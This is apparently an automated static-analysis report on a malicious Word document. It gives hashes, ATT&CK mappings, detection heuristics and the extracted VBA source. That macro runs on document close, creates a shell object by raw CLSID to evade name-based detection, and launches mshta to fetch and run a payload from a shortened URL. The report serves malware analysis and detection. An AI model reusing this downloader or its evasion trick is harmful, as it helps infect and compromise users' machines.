Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6bc00ea2c77c0a4…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-09-16 10:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-29
MD5: cae77f32ae0d4af244e4fcd411e14062 SHA-1: a74c555b536d1be5422d5e90e62d90041b2bcf30 SHA-256: f6bc00ea2c77c0a4187c3c01282769f9b78da0f85c39462115fcc05ca39cbac4
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.009 System Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes when the document is closed (Auto_Close). This macro uses WScript.Shell to launch mshta.exe, which then downloads and executes a payload from the reconstructed URL "https://bitly.com/ywuiddbnasqwdudasbnd". This indicates a macro-based downloader attack.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://bitly.com/In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 659 bytes
SHA-256: 8f17711d6f06526b2b85a35f858f7f5aaaf545425224f775c038f468da61459f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normals.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AUTO_ClOse()


Dim sr As String






Dim d2 As String



Dim d3 As String




Dim d1 As String




d1 = "" + ""







sr = "mshta"

d2 = " https://bitly.com/" + "ywuiddbnas" + "qwdudasbnd"




d3 = maaakialo & " " & d2




Set sr = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")

sr.EXEC d3






End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 29e592068d114a420147b6b1b1018af2cf71b4f645d92af75fd0e6697519b2db
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: 815fdc1c616fd4ea24c0fa7fc2b83de2906ac03c4969179c2c5bb75bad72ffcb

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